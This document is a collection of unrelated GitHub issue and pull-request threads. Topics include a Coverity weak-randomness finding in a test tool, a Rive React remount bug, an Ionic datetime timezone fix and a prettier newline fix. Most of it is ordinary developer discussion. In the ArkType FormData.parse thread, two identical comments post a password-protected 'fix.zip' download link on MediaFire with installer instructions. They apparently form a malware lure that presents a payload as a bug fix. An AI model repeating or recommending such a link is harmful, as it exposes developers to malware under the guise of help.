** CID 1375120:    (DC.WEAK_CRYPTO)
/tools/jtest/jtest.cc: 2789 in make_random_url(int, double *, double *)()
/tools/jtest/jtest.cc: 2790 in make_random_url(int, double *, double *)()

________________________________________________________________________________________________________
*** CID 1375120:    (DC.WEAK_CRYPTO)
/tools/jtest/jtest.cc: 2789 in make_random_url(int, double *, double *)()
2783       snprintf(rbuf, size_limit, "Range: bytes=%lu-%lu\r\n", fd[sock].range_start, fd[sock].range_end);
2784     }
2785
2786     static void
2787     make_random_url(int sock, double *dr, double *h)
2788     {
   CID 1375120:    (DC.WEAK_CRYPTO)
   "drand48()" should not be used for security related applications, as linear congruential algorithms are too easy to break.
2789       *dr = drand48();
2790       *h  = drand48();
2791
2792       if (zipf == 0.0) {
2793         if (*h < hitrate) {
2794           *dr                      = 1.0 + (floor(*dr * hotset) / hotset);
/tools/jtest/jtest.cc: 2790 in make_random_url(int, double *, double *)()
2784     }
2785
2786     static void
2787     make_random_url(int sock, double *dr, double *h)
2788     {
2789       *dr = drand48();
   CID 1375120:    (DC.WEAK_CRYPTO)
   "drand48()" should not be used for security related applications, as linear congruential algorithms are too easy to break.
2790       *h  = drand48();
2791
2792       if (zipf == 0.0) {
2793         if (*h < hitrate) {
2794           *dr                      = 1.0 + (floor(*dr * hotset) / hotset);
2795           fd[sock].response_length = gen_bfc_dist(*dr - 1.0);

** CID 1375119:  Error handling issues  (CHECKED_RETURN)
/plugins/experimental/ts_lua/ts_lua_fetch.c: 285 in ts_lua_fetch_one_item()

________________________________________________________________________________________________________

I'm slightly torn on this, it's pretty benign IMO (since it's a test tool). And, in other places in this code, we already do
// coverity[dont_call]
So, I think at least for jtest.cc, we should just add this.

Looking at some code, I think we can / should use this wrapper class consistently:
class InkRand
{
public:
  InkRand(uint64_t d);

  void seed(uint64_t d);
  inkcoreapi uint64_t random();
  double drandom();

private:
  uint64_t mt[312];
  int mti;
};

This implements the marsenne twister algorithm.

Why does it implement that, rather than just using libcrypto's?

class InkRand
{
private:
uint64_t mt[312];
int mti;
public:
InkRand(uint64_t d);
void seed(uint64_t d);
inkcoreapi uint64_t random();
double drandom();
};

Hi, I want to work on this issue. Can you help me to get started?

@alokrahul513 Sure, you can work on it.  Please create a PR for it.  Thank you!

hmmm, I might have some time and work on this


Merge conflict fix in cumulus.yml

Fixed merge conflict issue in cumulus.yml
Critical Changes
Changes
Issues Closed
New Metadata
Unpackaged Metadata
Deleted Metadata
Testing Notes

Branch builds without error - QA passes - Merging

Branch builds without error - QA passes - Merging


Blaue carte appointment error (captcha on web form)

Appointments check for Aufenthaltserlaubnis Blaue Karte EU returns an error.
When checking the website manually I see they implemented captcha on it. Is there any chance to go on with the bot regarding this change?

See https://github.com/okainov/munich-scripts/issues/68#issuecomment-1193362270. I'll remove this, now BC is not available for online booking the same way as others, you must follow the steps on the webpage instead. But I'll update the bot to mention this


src/app/zap-templates/zcl/data-model/chip/electrical-energy-measurement-cluster.xml should use correct types for energy_mwh

Reproduction steps
XML is not in alignment with spec.
src/app/zap-templates/zcl/data-model/chip/electrical-energy-measurement-cluster.xml
Should use 'energy_mwh' instead of int64s.
It should be possible to make this change once #30701 is merged.
Bug prevalence
N/A
GitHub hash of the SDK that was being used
N/A
Platform
core
Platform Version(s)
1.3
Type
Spec Compliance Issue
Anything else?
No response

This will be fixed one #31518 merges


useRive React component lifecycle related init issue

Hello there! 👋
We are using useRive from this library for animations within our DesignSystem, and have noticed a pretty critical  React component lifecycle related bug with the useRive hook. 😭
I've produced a simple reproduction of this bug in the latest published version of useRive from<EMAIL_ADDRESS>https://stackblitz.com/edit/stackblitz-starters-tc2yg6?file=app%2Fpage.tsx
Essentially, when first revealed (mounted), the Rive animation inits and autoplays as expected. However, once it's unmounted and then re-mounted (in this case using a simple conditional render bool) - the rive animation fails to init and autoplay.
Here is a simple code snippet which demonstrates the issue:
...
const [show, setShow] = useState(false);
const { RiveComponent } = useRive({
  src: 'https://cdn.rive.app/animations/vehicles.riv',
  autoplay: true,
  layout: new Layout({
    fit: Fit.Cover,
    alignment: Alignment.Center,
  }),
});

return (

    <button onClick={() => setShow((old) => !old)}>toggle</button>
    {show && <RiveComponent style={{ width: '500px', height: '500px' }} />} {/*<-- this only loads up and plays the very first time it's mounted. :( */}

 );
...

FWIW - I have tested out the bog standard <Rive /> React component and this does not suffer from the same bug. eg:
import Rive from '@rive-app/react-canvas';

<button onClick={() => setShow(old => !old)}>toggle</button>
      {show && (
        <Rive
          src="https://cdn.rive.app/animations/vehicles.riv"
          style={{ width: '400px', height: '400px' }}
        />
      )}

Hi @glomotion - thanks for reporting, and the repro. We'll take a look, as this is definitely not ideal in React dev! I suspect the issue might be here, where only when the canvas is mounted (aka, RiveComponent) is new Rive({}) actually called. When unmounted, we "cleanup" rive (which is a bunch of internal logic to delete cpp-created objects under the hood and stop the animation loop).
If it's feasible for you in the meantime until we give this another pass, as you saw in your second comment, wrapping your logic of using useRive in a wrapper component might do the trick temporarily, rather than using it with other React state that conditionally renders the <RiveComponent /> from useRive that would cause the above issues mentioned.
So:
// RiveWrapperComponent.jsx
const { RiveComponent } = useRive({
  src: 'https://cdn.rive.app/animations/vehicles.riv',
  autoplay: true,
  layout: new Layout({
    fit: Fit.Cover,
    alignment: Alignment.Center,
  }),
});

return (
  <RiveComponent style={{ width: '500px', height: '500px' }} />
 );

 // ParentComponent.jsx
 const [show, setShow] = useState(false);
 return (

    <button onClick={() => setShow((old) => !old)}>toggle</button>
    {show && <RiveWrapperComponent />

 );

Again, definitely recognize it's not ideal and might be a workaround for now! This also somewhat goes along with https://github.com/rive-app/rive-react/issues/107 too, which is also on the plate.

@zplata thanks for the suggested work around, did figure something like might would work.
We can perhaps suggest to our DS consumers to just wrap their rive instances inside components for now.

@zplata I wonder, is there any idea of rough timeline for when this kind of bug and https://github.com/rive-app/rive-react/issues/107 might be worked on? I'm mindful that #107 has already been open for more than a year. 😅


Broken links for data download of ORD files !!!

It appears that since we moved to voteview.com, the links to ORD file downloads are broken (links give 404 errors).   Let's get this fixed.

Symlink issue has been fixed. Need to ensure we can generate and propagate these files robustly.


Create challenge - General Tab Tags - Tag already used

If a user creates a new challenge,
In Administration - Edit Challenge is open,
General tab is open.
Insert e.g. "Wikipedia" into textfield "Tag" and
Click Next untill Challenge is completed and saved.
The following error is reported:
Oops! Something went wrong.
We will work on fixing that right away.
Click on the Map button to start mapping again right away.
Error: Internal Server Error: Tag with name Wikipedia already exists in the database

Hi, that is a bug, thanks for reporting. The workaround for now is to not use tags for your challenge :(

This is resolved in the current build and deployed as part of Beta.3.


More detailed version of site with better color theme

First color theme doesn't go with SpaceX. I would like to change that also I would like to add more descriptive version of mission , I know you already have linked the article for more descriptive version but having it in front of eye would make it more user friendly.
Please assign this task to me.

Explain what description are you going to add?


FormData.parse broken in rc.0

Report a bug
🔎 Search Terms
parse.formData
FormData
FormData.parse
🧩 Context

ArkType version: rc.0
TypeScript version (5.1+): (doesn't matter, it is a runtime error)
Other context you think may be relevant (JS flavor, OS, etc.): browser (chrome/safari)

🧑💻 Repro

type("FormData.parse")(new FormData())

got Illegal invocation in Chrome, Can only call FormData.entries on instances of FormData in Safari

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Might be related to deep clone changes, see also https://github.com/arktypeio/arktype/pull/1098

seems works in rc.2


Refactor decoder/converter interface for speed. Add new base input format.

@coledie could you add a description to this PR to understand it better and fix pre-commit issues?


Consistent import from top-level and first-level namespace of qcodes

This pr removes does not import the legacy api in the top-level namespace of qcodes  by default. If the flag for importing legacy api is set to true in the config file then only the legacy-imports are done. It fixes the example notebooks to reflect this change.
It also copies the imports to the init.py files of the respective modules.
@jenshnielsen

Looks good. Other than the change mentioned above I think this just need a changelog entry.

The travis failure probably points to a circular import. We may have to rething the importing slightly

@lakhotiaharshit I think we just need to fix the 2 long lines then this should be ready to go

@lakhotiaharshit I think we just need to fix the 2 long lines then this should be ready to go

@jenshnielsen '2 long lines' as in changelog? I just did that.

great work! just one question - shouldn't all sub-module-level imports be relative? (see other comments)

Yes, now that you point it out. I think they all should be relative.

@lakhotiaharshit as in the feedback from codacy :)


fix!: deep clone incoming routes to prevent side effects

ATTENTION: This might be a breaking change if people were relying on the side effects (like our FE did)

Let's not merge this until @chybisov tested that it solves the issues in the widget


ion-datetime default value is not local

Bug Report
Ionic version:

[x] 4.0.2
Current behavior:
ion-datetime currently defaults to todays date if none is selected but does not give an option to apply an offset.  Because of this, the time is not local.
Expected behavior:

ion-datetime default value should be local.
Ionic info:

Ionic:

   ionic (Ionic CLI)             : 4.10.3 (/usr/local/lib/node_modules/ionic)
   Ionic Framework               : @ionic/angular 4.0.2
   @angular-devkit/build-angular : 0.12.4
   @angular-devkit/schematics    : 7.3.1
   @angular/cli                  : 7.3.1
   @ionic/angular-toolkit        : 1.3.0

Cordova:

   cordova (Cordova CLI) : 8.1.2<EMAIL_ADDRESS>   Cordova Platforms     : android 7.1.4, ios 4.5.5
   Cordova Plugins       : cordova-plugin-ionic-keyboard 2.1.3, cordova-plugin-ionic-webview 2.2.5, (and 14 other plugins)

System:

   ios-deploy : 2.0.0
   NodeJS     : v10.15.0 (/usr/local/bin/node)
   npm        : 6.4.1
   OS         : macOS Mojave
   Xcode      : Xcode 10.1 Build version 10B61

Beat me to it, yes same issue the default time is not local it seems like it is defaulting to the GMT time.

Hi there,
Thanks for opening an issue with us! Would you be able to provide an example of what you are seeing versus what you are expecting? Thanks!

We are experiencing the same issue.
Steps to reproduce:
Create ion-datetime. Set format to MMM DD, YYYY HH:mm.
Set client timezone to for example GMT+2.
When selecting date at 10:00 in local time, the picker hours for the default datetime is 08:00.
Expected hours for default value should be 10:00 (local time).

Hey there!
I am working on a PR (#17656) that should fix this issue. If someone wouldn't mind testing this out on their end as well, that would be great. Thanks!

Hi there,
This fix will be in the next release of Ionic. I have published a nightly build of Ionic with this fix (npm install @ionic/core@dev). Feel free to test it out and provide feedback if you have the time.
Thanks!

Hello,
I tied the dev version
npm install @ionic/core@dev

My current package.json is
"@ionic/core": "^4.1.2-dev.201903111954.bab56e8",

It is trying to show the default date but in UTC time. e.g. our time is 8:18 am in EST but the default time of the picker is 12:18 (+4 hrs).

Hi @kiichi,
Can you send the template that you are using? I am EST and my picker is showing 8:38am (currently 8:38am EST for me) with the following template:
<ion-item>
  <ion-label>h:mm a</ion-label>
  <ion-datetime display-format="h:mm a"></ion-datetime>
</ion-item>

@liamdebeasi something like this below, using ngModel. The initial value is null.
<ion-datetime
                  picker-format="MM/DD/YYYY HH:mm"
                  display-format="HH:mm"
                  placeholder="-Select-"
                  [(ngModel)]="item.StartTime"
                  (ionChange)="updateTime(item)">
</ion-datetime>

Here is tested result from the snippet above. dt is assigned ```new Date()`` for reference.
  <ion-item>
    <ion-label>{{dt}}</ion-label>
    <ion-datetime display-format="h:mm a"></ion-datetime>
  </ion-item>

Current core version which I'm using is
"@ionic/core": "^4.1.2-dev.201903131547.be0258c"

Thanks!

Hi there,
Thanks for the follow up! Do you also have the latest nightly install of @ionic/angular? (npm i @ionic/angular@dev). If not, can you install it and try your test again?
Thanks!

Hi there,
This has been fixed by https://github.com/ionic-team/ionic/pull/17706. I am going to close this issue, but feel free to open a new issue if any other issues pop up.
Thanks!


Fix search code example

Also renamed bloodhound -> engine to match other examples

Ah, sorry... should have checked first, there are already at least two PRs for this. I'll leave this open though as it also renames bloodhound to engine to be consistent with the other examples.
See #1563

@jrdnull Hi! I don't get it, isn't this an abandoned repo? What about https://github.com/corejavascript/typeahead.js?

Yes, looks that way. I switched to the corejavasript fork which includes a fix for rendering all results when there are less than the limit.
I created this when reading the docs through the web editor before I realised it was abandoned.
Thanks for pointing out the most active fork 👍


Contributors can find information about the architecture of the system

Fixed in https://github.com/nanobrew/nanobrew-core/pull/18


Don't print double newlines at EOF to stdout

If you use the --write option, the files will end with a single
newline as expected. But if you let prettier print to stdout instead and
redirect that into a file, it will contain two newlines at the end.
Demonstration of the correct --write behavior:
$ cat tmp.js
function test() {
  return "hello";
}
$ wc -l tmp.js
3 tmp.js
$ ./bin/prettier.js tmp.js --write
tmp.js
$ cat tmp.js
function test() {
  return "hello";
}
$ wc -l tmp.js
3 tmp.js

Notice how an extra line is added when redirecting stdout:
$ ./bin/prettier.js tmp.js > tmp2.js
$ cat tmp2.js
function test() {
  return "hello";
}

$ wc -l tmp2.js
4 tmp2.js

With this commit things work as expected:
$ ./bin/prettier.js tmp.js > tmp2.js
$ cat tmp2.js
function test() {
  return "hello";
}
$ wc -l tmp2.js
3 tmp2.js

Fixes #377.

Good catch, I was annoyed by this as well but couldn't figure out what happened :)


⚠ Bofrost.fr has degraded performance

In c835f5b, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1039 ms

Resolved: Bofrost.fr performance has improved in 57903ff after 6 minutes.


Add support for cf local in v2

This work as done for V1 but not merged - I will abandon that PR.
I have recreated the same for V2.

@nwmac is this still WIP?


Revert "add KAS egress network policy"

#1905 broke KAS communication with etcd

/lgtm

/override ci/prow/e2e-aws
because the HO in the root CI cluster updated and can't create e2e mgmt clusters now